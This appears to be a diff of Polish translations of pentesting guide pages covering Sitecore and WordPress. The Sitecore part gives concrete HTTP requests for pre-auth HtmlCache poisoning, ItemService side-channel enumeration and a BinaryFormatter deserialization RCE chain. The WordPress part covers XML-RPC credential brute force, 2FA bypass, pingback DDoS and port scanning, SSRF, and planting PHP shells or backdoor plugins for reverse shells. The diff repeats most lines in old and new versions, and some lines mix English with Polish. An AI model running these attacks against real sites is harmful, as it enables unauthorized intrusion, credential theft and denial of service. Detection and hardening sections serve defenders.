- __SOURCE to clientID xmlcontrol:GlobalHeader w obrębie Sitecore.Shell.Xaml.WebControl (zazwyczaj stabilne, np. ctl00_ctl00_ctl05_ctl03, ponieważ pochodzi ze statycznego XAML).
|
||||
- __PARAMETERS ma format Method("arg1","arg2").
|
||||
|
||||
## Co zatruć: konstrukcja klucza Cache
|
||||
## Co zatruć: konstrukcja klucza cache
|
||||
|
||||
Typowa konstrukcja klucza HtmlCache używana przez kontrolki Sitecore:
|
||||
```csharp
|
||||
@ -94,9 +94,9 @@ Przykład targeted poisoning dla znanego sublayoutu:
|
||||
```
|
||||
__PARAMETERS=AddToCache("/layouts/Sample+Sublayout.ascx_%23lang:EN_%23login:False_%23qs:_%23index","<html>…attacker HTML…</html>")&__SOURCE=ctl00_ctl00_ctl05_ctl03&__ISEVENT=1
|
||||
```
|
||||
## Wyliczanie elementów cache'owalnych i wymiarów “vary by”
|
||||
## Wyliczanie cacheable items i “vary by” dimensions
|
||||
|
||||
Jeśli ItemService jest (błędnie) wystawiony anonimowo, możesz wyliczyć komponenty cache'owalne, aby uzyskać dokładne klucze.
|
||||
Jeśli ItemService jest (mis)exposed i dostępny anonimowo, możesz wyliczyć cacheable components, aby uzyskać dokładne klucze.
|
||||
|
||||
Szybkie sprawdzenie:
|
||||
```
|
||||
@ -104,17 +104,17 @@ GET /sitecore/api/ssc/item
|
||||
// 404 Sitecore error body → exposed (anonymous)
|
||||
// 403 → blocked/auth required
|
||||
```
|
||||
Wypisz elementy możliwe do cache'owania i flagi:
|
||||
Wypisz elementy możliwe do buforowania i flagi:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=layouts&fields=&page=0&pagesize=100
|
||||
```
|
||||
Szukaj pól takich jak Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Nazwy urządzeń można wyliczyć za pomocą:
|
||||
Szukaj pól takich jak Path, Cacheable, VaryByDevice, VaryByLogin, ClearOnIndexUpdate. Nazwy urządzeń można wyenumerować za pomocą:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=_templatename:Device&fields=ItemName&page=0&pagesize=100
|
||||
```
|
||||
### Side‑channel enumeration under restricted identities (CVE-2025-53694)
|
||||
|
||||
Nawet gdy ItemService podszywa się pod ograniczone konto (np. ServicesAPI) i zwraca pustą tablicę Results, TotalCount może nadal odzwierciedlać pre‑ACL trafienia w Solr. Możesz brute‑force item groups/ids przy użyciu wildcards i obserwować, jak TotalCount zbiega się, aby zmapować wewnętrzną zawartość i urządzenia:
|
||||
Nawet gdy ItemService podszywa się pod ograniczone konto (e.g., ServicesAPI) i zwraca pustą tablicę Results, TotalCount może nadal odzwierciedlać pre‑ACL Solr hits. Można brute‑force item groups/ids przy użyciu wildcards i obserwować, jak TotalCount zbiega, aby zmapować wewnętrzną zawartość i urządzenia:
|
||||
```
|
||||
GET /sitecore/api/ssc/item/search?term=%2B_templatename:Device;%2B_group:a*&fields=&page=0&pagesize=100&includeStandardTemplateFields=true
|
||||
→ "TotalCount": 3
|
||||
@ -123,22 +123,22 @@ GET /...term=%2B_templatename:Device;%2B_group:aa*
|
||||
GET /...term=%2B_templatename:Device;%2B_group:aa30d078ed1c47dd88ccef0b455a4cc1*
|
||||
→ narrow to a specific item
|
||||
```
|
||||
## Post‑auth RCE: BinaryFormatter sink w convertToRuntimeHtml (CVE-2025-53691)
|
||||
## Post‑auth RCE: BinaryFormatter sink in convertToRuntimeHtml (CVE-2025-53691)
|
||||
|
||||
Miejsce wykorzystania:
|
||||
Sink:
|
||||
```csharp
|
||||
// Sitecore.Convert
|
||||
byte[] b = Convert.FromBase64String(data);
|
||||
return new BinaryFormatter().Deserialize(new MemoryStream(b));
|
||||
```
|
||||
Dostępne za pośrednictwem kroku pipeline convertToRuntimeHtml o nazwie ConvertWebControls, który szuka elementu o id {iframeId}_inner, base64 decodes + deserializes jego zawartość, a następnie wstrzykuje powstały string do HTML:
|
||||
Dostępne przez krok pipeline convertToRuntimeHtml ConvertWebControls, który szuka elementu o id {iframeId}_inner, dekoduje go z base64 i deserializuje, a następnie wstrzykuje otrzymany ciąg do HTML:
|
||||
```csharp
|
||||
HtmlNode inner = doc.SelectSingleNode("//*[@id='"+id+"_inner']");
|
||||
string text2 = inner?.GetAttributeValue("value", "");
|
||||
if (text2.Length > 0)
|
||||
htmlNode2.InnerHtml = StringUtil.GetString(Sitecore.Convert.Base64ToObject(text2) as string);
|
||||
```
|
||||
Wyzwalacz (uwierzytelniony, prawa Content Editor). Okno dialogowe FixHtml wywołuje convertToRuntimeHtml. End‑to‑end bez kliknięć w UI:
|
||||
Wyzwalacz (uwierzytelniony, uprawnienia Content Editor). Dialog FixHtml wywołuje convertToRuntimeHtml. End‑to‑end bez klikania w UI:
|
||||
```
|
||||
// 1) Start Content Editor
|
||||
GET /sitecore/shell/Applications/Content%20Editor.aspx
|
||||
@ -159,30 +159,30 @@ __PARAMETERS=edithtml:fix&...&ctl00$ctl00$ctl05$Html=
|
||||
// 4) Visit FixHtml to trigger ConvertWebControls → deserialization
|
||||
GET /sitecore/shell/-/xaml/Sitecore.Shell.Applications.ContentEditor.Dialogs.FixHtml.aspx?hdl=...
|
||||
```
|
||||
Generowanie gadgetu: użyj ysoserial.net / YSoNet z BinaryFormatter, aby wygenerować base64 payload zwracający string. Zawartość tego stringa jest zapisywana do HTML przez ConvertWebControls po wykonaniu efektów ubocznych deserializacji.
|
||||
Generowanie gadgetów: użyj ysoserial.net / YSoNet z BinaryFormatter, aby wygenerować base64 payload zwracający string. Zawartość tego stringa jest zapisywana w HTML przez ConvertWebControls po wykonaniu efektów ubocznych deserializacji.
|
||||
|
||||
{{#ref}}
|
||||
../../../pentesting-web/deserialization/basic-.net-deserialization-objectdataprovider-gadgets-expandedwrapper-and-json.net.md
|
||||
{{#endref}}
|
||||
|
||||
## Pełny łańcuch
|
||||
## Kompletny łańcuch
|
||||
|
||||
1) Pre‑auth attacker zatruwa HtmlCache dowolnym HTML, wywołując refleksyjnie WebControl.AddToCache przez XAML AjaxScriptManager.
|
||||
2) Zatruty HTML serwuje JavaScript, który nakłania uwierzytelnionego użytkownika Content Editor do przejścia przez flow FixHtml.
|
||||
3) Strona FixHtml uruchamia convertToRuntimeHtml → ConvertWebControls, które deserializuje kontrolowane przez atakującego base64 za pomocą BinaryFormatter → RCE pod tożsamością puli aplikacji Sitecore.
|
||||
1) Pre‑auth attacker poisons HtmlCache with arbitrary HTML by reflectively invoking WebControl.AddToCache via XAML AjaxScriptManager.
|
||||
2) Poisoned HTML serves JavaScript that nudges an authenticated Content Editor user through the FixHtml flow.
|
||||
3) The FixHtml page triggers convertToRuntimeHtml → ConvertWebControls, which deserializes attacker‑controlled base64 via BinaryFormatter → RCE under the Sitecore app pool identity.
|
||||
|
||||
## Wykrywanie
|
||||
|
||||
- Pre‑auth XAML: żądania do `/-/xaml/Sitecore.Shell.Xaml.WebControl` z `__ISEVENT=1`, podejrzane `__SOURCE` oraz `__PARAMETERS=AddToCache(...)`.
|
||||
- ItemService probing: skoki zapytań wildcard do `/sitecore/api/ssc`, duże `TotalCount` przy pustych `Results`.
|
||||
- Próby deserializacji: `EditHtml.aspx` a następnie `FixHtml.aspx?hdl=...` oraz nietypowo duże base64 w polach HTML.
|
||||
- Pre‑auth XAML: requests to `/-/xaml/Sitecore.Shell.Xaml.WebControl` with `__ISEVENT=1`, suspicious `__SOURCE` and `__PARAMETERS=AddToCache(...)`.
|
||||
- ItemService probing: spikes of `/sitecore/api/ssc` wildcard queries, large `TotalCount` with empty `Results`.
|
||||
- Deserialization attempts: `EditHtml.aspx` followed by `FixHtml.aspx?hdl=...` and unusually large base64 in HTML fields.
|
||||
|
||||
## Utwardzanie
|
||||
|
||||
- Zastosuj poprawki Sitecore KB1003667 i KB1003734; zablokuj/wyłącz pre‑auth XAML handlers lub dodaj rygorystyczną walidację; monitoruj i ograniczaj liczbę żądań do `/-/xaml/`.
|
||||
- Usuń/zastąp BinaryFormatter; ogranicz dostęp do convertToRuntimeHtml lub wymuś silną walidację po stronie serwera w przepływach edycji HTML.
|
||||
- Zablokuj `/sitecore/api/ssc` do loopback lub autoryzowanych ról; unikaj wzorców impersonation, które tworzą kanały boczne oparte na `TotalCount`.
|
||||
- Wymuś MFA/zasadę najmniejszych uprawnień dla użytkowników Content Editor; przejrzyj CSP, aby zmniejszyć wpływ JS steering wynikający z cache poisoning.
|
||||
- Apply Sitecore patches KB1003667 and KB1003734; gate/disable pre‑auth XAML handlers or add strict validation; monitor and rate‑limit `/-/xaml/`.
|
||||
- Remove/replace BinaryFormatter; restrict access to convertToRuntimeHtml or enforce strong server‑side validation of HTML editing flows.
|
||||
- Lock down `/sitecore/api/ssc` to loopback or authenticated roles; avoid impersonation patterns that leak `TotalCount`‑based side channels.
|
||||
- Enforce MFA/least privilege for Content Editor users; review CSP to reduce JS steering impact from cache poisoning.
|
||||
|
||||
## References
|
||||
|
||||
|
@ -4,39 +4,39 @@
|
||||
|
||||
## Podstawowe informacje
|
||||
|
||||
- **Wgrane** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Pliki motywów można znaleźć w /wp-content/themes/,** więc jeśli zmienisz jakiś php motywu, aby uzyskać RCE prawdopodobnie użyjesz tej ścieżki. Na przykład: używając **theme twentytwelve** możesz **access** plik **404.php** w: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
- **Uploaded** pliki trafiają do: `http://10.10.10.10/wp-content/uploads/2018/08/a.txt`
|
||||
- **Themes files can be found in /wp-content/themes/,** więc jeśli zmienisz jakiś plik php motywu, aby uzyskać RCE, prawdopodobnie będziesz używać tej ścieżki. Na przykład: Using **theme twentytwelve** you can **access** the **404.php** file in: [**/wp-content/themes/twentytwelve/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- **Another useful url could be:** [**/wp-content/themes/default/404.php**](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
- W pliku **wp-config.php** możesz znaleźć hasło użytkownika root bazy danych.
|
||||
- W pliku **wp-config.php** możesz znaleźć hasło root do bazy danych.
|
||||
- Domyślne ścieżki logowania do sprawdzenia: _**/wp-login.php, /wp-login/, /wp-admin/, /wp-admin.php, /login/**_
|
||||
|
||||
### **Główne pliki WordPress**
|
||||
|
||||
- `index.php`
|
||||
- `license.txt` zawiera użyteczne informacje, takie jak zainstalowana wersja WordPress.
|
||||
- `wp-activate.php` jest używany do procesu aktywacji email podczas zakładania nowej strony WordPress.
|
||||
- `license.txt` zawiera przydatne informacje, takie jak zainstalowana wersja WordPress.
|
||||
- `wp-activate.php` jest używany w procesie aktywacji przez e-mail podczas zakładania nowej strony WordPress.
|
||||
- Foldery logowania (mogą być przemianowane, aby je ukryć):
|
||||
- `/wp-admin/login.php`
|
||||
- `/wp-admin/wp-login.php`
|
||||
- `/login.php`
|
||||
- `/wp-login.php`
|
||||
- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego rodzaju komunikacja została zastąpiona przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` to główny katalog, w którym przechowywane są plugins i themes.
|
||||
- `wp-content/uploads/` to katalog, w którym przechowywane są wszystkie pliki przesłane na platformę.
|
||||
- `wp-includes/` to katalog, w którym przechowywane są pliki core, takie jak certyfikaty, fonty, pliki JavaScript i widgety.
|
||||
- `wp-sitemap.xml` W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML zawierający wszystkie publiczne wpisy oraz publicznie queryable typy wpisów i taksonomie.
|
||||
- `xmlrpc.php` to plik reprezentujący funkcję WordPress, która umożliwia przesyłanie danych z HTTP jako mechanizmem transportu i XML jako mechanizmem kodowania. Tego typu komunikacja została zastąpiona przez WordPress [REST API](https://developer.wordpress.org/rest-api/reference).
|
||||
- Folder `wp-content` jest głównym katalogiem, w którym przechowywane są wtyczki i motywy.
|
||||
- `wp-content/uploads/` jest katalogiem, w którym przechowywane są wszystkie pliki przesłane na platformę.
|
||||
- `wp-includes/` to katalog, w którym przechowywane są pliki rdzenia, takie jak certyfikaty, czcionki, pliki JavaScript i widżety.
|
||||
- `wp-sitemap.xml` W wersjach WordPress 5.5 i wyższych, WordPress generuje plik sitemap XML ze wszystkimi publicznymi wpisami oraz publicznie zapytalnymi typami wpisów i taksonomiami.
|
||||
|
||||
**Post exploitation**
|
||||
|
||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy, nazwa użytkownika i hasło, authentication keys and salts oraz prefiks tabel bazy danych. Ten plik konfiguracyjny można również użyć do aktywacji trybu DEBUG, co może być przydatne przy rozwiązywaniu problemów.
|
||||
- Plik `wp-config.php` zawiera informacje wymagane przez WordPress do połączenia z bazą danych, takie jak nazwa bazy danych, host bazy danych, nazwa użytkownika i hasło, klucze uwierzytelniania i salty oraz prefiks tabel bazy danych. Ten plik konfiguracyjny może być również użyty do włączenia trybu DEBUG, co może być pomocne przy rozwiązywaniu problemów.
|
||||
|
||||
### Uprawnienia użytkowników
|
||||
|
||||
- **Administrator**
|
||||
- **Editor**: Publikuje i zarządza swoimi oraz cudzymi wpisami
|
||||
- **Author**: Publikuje i zarządza własnymi wpisami
|
||||
- **Editor**: Publikuje i zarządza własnymi i cudzymi wpisami
|
||||
- **Author**: Publikuje i zarządza wyłącznie własnymi wpisami
|
||||
- **Contributor**: Pisze i zarządza swoimi wpisami, ale nie może ich publikować
|
||||
- **Subscriber**: Przegląda wpisy i edytuje swój profil
|
||||
|
||||
@ -46,7 +46,7 @@
|
||||
|
||||
Sprawdź, czy możesz znaleźć pliki `/license.txt` lub `/readme.html`
|
||||
|
||||
W kodzie źródłowym strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
W **kodzie źródłowym** strony (przykład z [https://wordpress.org/support/article/pages/](https://wordpress.org/support/article/pages/)):
|
||||
|
||||
- grep
|
||||
```bash
|
||||
@ -72,7 +72,7 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
```bash
|
||||
curl -s -X GET https://wordpress.org/support/article/pages/ | grep -E 'wp-content/themes' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
```
|
||||
### Ogólne wyodrębnianie wersji
|
||||
### Wydobywanie wersji — ogólnie
|
||||
```bash
|
||||
curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/support/article/pages/ | grep http | grep -E '?ver=' | sed -E 's,href=|src=,THIIIIS,g' | awk -F "THIIIIS" '{print $2}' | cut -d "'" -f2
|
||||
|
||||
@ -81,17 +81,17 @@ curl -H 'Cache-Control: no-cache, no-store' -L -ik -s https://wordpress.org/supp
|
||||
|
||||
### Wtyczki i motywy
|
||||
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich możliwych Wtyczek i Motywów. Aby odkryć je wszystkie, będziesz musiał **actively Brute Force a list of Plugins and Themes** (miejmy nadzieję, że istnieją automatyczne narzędzia, które zawierają te listy).
|
||||
Prawdopodobnie nie będziesz w stanie znaleźć wszystkich dostępnych wtyczek i motywów. Aby odkryć je wszystkie, będziesz musiał **aktywnie Brute Force listę wtyczek i motywów** (mamy nadzieję, że istnieją zautomatyzowane narzędzia, które zawierają te listy).
|
||||
|
||||
### Użytkownicy
|
||||
|
||||
- **ID Brute:** Uzyskujesz prawidłowych użytkowników z witryny WordPress przez Brute Forcing ID użytkowników:
|
||||
- **ID Brute:** Uzyskujesz ważnych użytkowników z serwisu WordPress poprzez Brute Forcing ID użytkowników:
|
||||
```bash
|
||||
curl -s -I -X GET http://blog.example.com/?author=1
|
||||
```
|
||||
Jeśli odpowiedzi to **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź to **400**, oznacza to, że id jest **nieprawidłowe**.
|
||||
Jeśli odpowiedzi mają status **200** lub **30X**, oznacza to, że id jest **prawidłowe**. Jeśli odpowiedź ma status **400**, wtedy id jest **nieprawidłowe**.
|
||||
|
||||
- **wp-json:** Możesz też spróbować uzyskać informacje o użytkownikach, wykonując zapytanie:
|
||||
- **wp-json:** Możesz również spróbować uzyskać informacje o użytkownikach, wysyłając zapytanie:
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/wp/v2/users
|
||||
```
|
||||
@ -99,15 +99,15 @@ Kolejny endpoint `/wp-json/`, który może ujawnić pewne informacje o użytkown
|
||||
```bash
|
||||
curl http://blog.example.com/wp-json/oembed/1.0/embed?url=POST-URL
|
||||
```
|
||||
Zauważ, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają tę funkcję włączoną**.
|
||||
Zwróć uwagę, że ten endpoint ujawnia tylko użytkowników, którzy opublikowali post. **Dostarczone zostaną tylko informacje o użytkownikach, którzy mają włączoną tę funkcję**.
|
||||
|
||||
Zwróć również uwagę, że **/wp-json/wp/v2/pages** could leak IP addresses.
|
||||
Zwróć też uwagę, że **/wp-json/wp/v2/pages** może leak IP addresses.
|
||||
|
||||
- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** w zależności od tego, czy **nazwa użytkownika istnieje czy nie**.
|
||||
- **Login username enumeration**: Podczas logowania przez **`/wp-login.php`** **komunikat** jest **inny** i wskazuje, czy **nazwa użytkownika istnieje, czy nie**.
|
||||
|
||||
### XML-RPC
|
||||
|
||||
Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do uruchomienia DoS na inne zasoby. (You can automate this process[ using this](https://github.com/relarizky/wpxploit) for example).
|
||||
Jeśli `xml-rpc.php` jest aktywny, możesz przeprowadzić credentials brute-force lub użyć go do przeprowadzenia DoS attacks na inne zasoby. (Możesz zautomatyzować ten proces, na przykład używając [tego](https://github.com/relarizky/wpxploit)).
|
||||
|
||||
Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_ i wyślij to żądanie:
|
||||
|
||||
@ -122,7 +122,7 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
|
||||
|
||||
**Credentials Bruteforce**
|
||||
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które można użyć do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
|
||||
**`wp.getUserBlogs`**, **`wp.getCategories`** lub **`metaWeblog.getUsersBlogs`** to niektóre z metod, które mogą być użyte do brute-force credentials. Jeśli znajdziesz którąkolwiek z nich, możesz wysłać coś takiego:
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>wp.getUsersBlogs</methodName>
|
||||
@ -132,7 +132,7 @@ Aby sprawdzić, czy jest aktywny, spróbuj uzyskać dostęp do _**/xmlrpc.php**_
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien się pojawić, jeśli dane uwierzytelniające są nieprawidłowe.
|
||||
Komunikat _"Incorrect username or password"_ w odpowiedzi z kodem 200 powinien pojawić się, jeśli dane uwierzytelniające są nieprawidłowe.
|
||||
|
||||
 (2) (2) (2) (2) (2) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (1) (2) (4) (1).png>)
|
||||
|
||||
@ -168,18 +168,18 @@ Używając prawidłowych danych uwierzytelniających możesz przesłać plik. W
|
||||
</params>
|
||||
</methodCall>
|
||||
```
|
||||
Also there is a **faster way** to brute-force credentials using **`system.multicall`** as you can try several credentials on the same request:
|
||||
Jest też **szybszy sposób** na brute-force credentials używając **`system.multicall`**, ponieważ możesz spróbować kilku creds w tym samym żądaniu:
|
||||
|
||||
<figure><img src="../../images/image (628).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
**Omijanie 2FA**
|
||||
|
||||
Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli więc masz ważne creds, ale główne wejście jest chronione 2FA, **możesz być w stanie nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz mógł wykonać wszystkich akcji dostępnych przez console, ale nadal możesz dojść do RCE, jak Ippsec wyjaśnia w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
Ta metoda jest przeznaczona dla programów, nie dla ludzi, i jest stara, więc nie obsługuje 2FA. Jeśli masz ważne creds, ale główne wejście jest chronione przez 2FA, **możesz nadużyć xmlrpc.php, aby zalogować się tymi creds, omijając 2FA**. Zwróć uwagę, że nie będziesz w stanie wykonać wszystkich akcji dostępnych przez konsolę, ale nadal możesz uzyskać RCE, jak Ippsec wyjaśnia w [https://www.youtube.com/watch?v=p8mIdm93mfw\&t=1130s](https://www.youtube.com/watch?v=p8mIdm93mfw&t=1130s)
|
||||
|
||||
**DDoS lub skanowanie portów**
|
||||
|
||||
If you can find the method _**pingback.ping**_ inside the list you can make the Wordpress send an arbitrary request to any host/port.\
|
||||
This can be used to ask **tysiące** of Wordpress **sites** to **dostęp** one **location** (so a **DDoS** is caused in that location) or you can use it to make **Wordpress** **przeskanować** some internal **network** (you can indicate any port).
|
||||
Jeśli znajdziesz metodę _**pingback.ping**_ na liście, możesz sprawić, że Wordpress wyśle dowolne żądanie do dowolnego host/port.\
|
||||
Może to posłużyć do zmuszenia **tysięcy** Wordpress **sites** do **access** jednej **location** (w ten sposób wywołując **DDoS** w tej lokalizacji), albo możesz użyć tego, aby sprawić, że **Wordpress** przeskanuje jakąś wewnętrzną **network** (możesz wskazać dowolny port).
|
||||
```html
|
||||
<methodCall>
|
||||
<methodName>pingback.ping</methodName>
|
||||
@ -193,7 +193,7 @@ This can be used to ask **tysiące** of Wordpress **sites** to **dostęp** one *
|
||||
|
||||
Jeśli otrzymasz **faultCode** o wartości **większej** niż **0** (17), oznacza to, że port jest otwarty.
|
||||
|
||||
Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, by spowodować DDoS.
|
||||
Zwróć uwagę na użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się, jak nadużyć tej metody, aby spowodować DDoS.
|
||||
|
||||
**DDoS**
|
||||
```html
|
||||
@ -209,15 +209,15 @@ Zobacz użycie **`system.multicall`** w poprzedniej sekcji, aby dowiedzieć się
|
||||
|
||||
### wp-cron.php DoS
|
||||
|
||||
Ten plik zwykle znajduje się w katalogu głównym strony WordPress: **`/wp-cron.php`**\
|
||||
Kiedy ten plik jest **wywoływany**, wykonywane jest „heavy” MySQL **query**, więc może być użyty przez **atakujących** do **wywołania** **DoS**.\
|
||||
Domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony WordPress), co na stronach o dużym ruchu może powodować problemy (DoS).
|
||||
Ten plik zwykle znajduje się w katalogu root strony Wordpress: **`/wp-cron.php`**\
|
||||
Gdy ten plik jest **wywoływany**, wykonywane jest „ciężkie” zapytanie MySQL, więc może być użyty przez **atakujących** do **wywołania** **DoS**.\
|
||||
Ponadto, domyślnie `wp-cron.php` jest wywoływany przy każdym ładowaniu strony (za każdym razem, gdy klient żąda dowolnej strony Wordpress), co przy dużym ruchu może powodować problemy (DoS).
|
||||
|
||||
Zalecane jest wyłączenie Wp-Cron i utworzenie prawdziwego cronjoba na hoście, który będzie wykonywał potrzebne działania w regularnych odstępach (bez powodowania problemów).
|
||||
Zaleca się wyłączenie Wp-Cron i utworzenie prawdziwego zadania cron na hoście, które będzie wykonywać potrzebne akcje w regularnych odstępach (bez powodowania problemów).
|
||||
|
||||
### /wp-json/oembed/1.0/proxy - SSRF
|
||||
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i strona WordPress może wykonać żądanie do Ciebie.
|
||||
Spróbuj uzyskać dostęp do _https://worpress-site.com/wp-json/oembed/1.0/proxy?url=ybdk28vjsa9yirr7og2lukt10s6ju8.burpcollaborator.net_ i strona Worpress może wykonać żądanie do Ciebie.
|
||||
|
||||
This is the response when it doesn't work:
|
||||
|
||||
@ -230,7 +230,7 @@ This is the response when it doesn't work:
|
||||
https://github.com/t0gu/quickpress/blob/master/core/requests.go
|
||||
{{#endref}}
|
||||
|
||||
To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je wykorzystać.
|
||||
To narzędzie sprawdza, czy istnieje **methodName: pingback.ping** oraz ścieżka **/wp-json/oembed/1.0/proxy**, i jeśli tak, próbuje je exploitować.
|
||||
|
||||
## Automatic Tools
|
||||
```bash
|
||||
@ -238,24 +238,24 @@ cmsmap -s http://www.domain.com -t 2 -a "Mozilla/5.0 (Windows NT 10.0; Win64; x6
|
||||
wpscan --rua -e ap,at,tt,cb,dbe,u,m --url http://www.domain.com [--plugins-detection aggressive] --api-token <API_TOKEN> --passwords /usr/share/wordlists/external/SecLists/Passwords/probable-v2-top1575.txt #Brute force found users and search for vulnerabilities using a free API token (up 50 searchs)
|
||||
#You can try to bruteforce the admin user using wpscan with "-U admin"
|
||||
```
|
||||
## Uzyskaj dostęp przez nadpisanie bitu
|
||||
## Uzyskaj dostęp przez nadpisanie jednego bitu
|
||||
|
||||
To raczej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było zmienić 1 bit w dowolnym pliku wordpress. Dzięki temu można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP.
|
||||
To bardziej ciekawostka niż prawdziwy atak. W CTF [https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man](https://github.com/orangetw/My-CTF-Web-Challenges#one-bit-man) można było odwrócić 1 bit w dowolnym pliku wordpress. Tak więc można było zmienić bit na pozycji `5389` w pliku `/var/www/html/wp-includes/user.php`, aby zamienić operację NOT (`!`) na NOP.
|
||||
```php
|
||||
if ( ! wp_check_password( $password, $user->user_pass, $user->ID ) ) {
|
||||
return new WP_Error(
|
||||
```
|
||||
## **Panel RCE**
|
||||
|
||||
**Modyfikacja php z używanego motywu (wymagane dane logowania admina)**
|
||||
**Modyfikacja pliku php z używanego motywu (wymagane dane logowania administratora)**
|
||||
|
||||
Wygląd → Edytor motywu → Szablon 404 (po prawej)
|
||||
|
||||
Zamień zawartość na php shell:
|
||||
Zmień zawartość na php shell:
|
||||
|
||||
.png>)
|
||||
|
||||
Wyszukaj w internecie, jak uzyskać dostęp do zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
Wyszukaj w internecie, jak uzyskać dostęp do tej zaktualizowanej strony. W tym przypadku musisz wejść tutaj: [http://10.11.1.234/wp-content/themes/twentytwelve/404.php](http://10.11.1.234/wp-content/themes/twentytwelve/404.php)
|
||||
|
||||
### MSF
|
||||
|
||||
@ -267,18 +267,18 @@ aby uzyskać sesję.
|
||||
|
||||
## Plugin RCE
|
||||
|
||||
### Wtyczka PHP
|
||||
### PHP plugin
|
||||
|
||||
Możliwe, że da się przesłać pliki .php jako wtyczkę.\
|
||||
Utwórz swój PHP backdoor używając na przykład:
|
||||
Może być możliwe przesłanie plików .php jako plugin.\
|
||||
Utwórz swój php backdoor używając na przykład:
|
||||
|
||||
.png>)
|
||||
|
||||
Następnie dodaj nową wtyczkę:
|
||||
Następnie dodaj nowy plugin:
|
||||
|
||||
.png>)
|
||||
|
||||
Prześlij wtyczkę i kliknij Install Now:
|
||||
Prześlij plugin i naciśnij Install Now:
|
||||
|
||||
.png>)
|
||||
|
||||
@ -290,58 +290,58 @@ Prawdopodobnie nic się nie stanie, ale jeśli przejdziesz do Media, zobaczysz p
|
||||
|
||||
.png>)
|
||||
|
||||
Otwórz go i zobaczysz URL umożliwiający uruchomienie reverse shell:
|
||||
Otwórz go i zobaczysz URL do uruchomienia reverse shell:
|
||||
|
||||
.png>)
|
||||
|
||||
### Uploading and activating malicious plugin
|
||||
|
||||
Ta metoda polega na zainstalowaniu złośliwej wtyczki znanej z podatności i może zostać wykorzystana do uzyskania web shell. Proces ten jest przeprowadzany przez WordPress dashboard w następujący sposób:
|
||||
Ta metoda polega na zainstalowaniu malicious plugin znanego z podatności, który może zostać wykorzystany do uzyskania web shell. Proces wykonywany jest przez WordPress dashboard w następujący sposób:
|
||||
|
||||
1. **Pozyskanie wtyczki**: Wtyczka jest pobierana ze źródła takiego jak Exploit DB jak [**here**](https://www.exploit-db.com/exploits/36374).
|
||||
2. **Instalacja wtyczki**:
|
||||
- Przejdź do WordPress dashboard, potem do `Dashboard > Plugins > Upload Plugin`.
|
||||
- Prześlij plik zip pobranej wtyczki.
|
||||
3. **Aktywacja wtyczki**: Po pomyślnej instalacji wtyczka musi zostać aktywowana przez dashboard.
|
||||
4. **Eksploatacja**:
|
||||
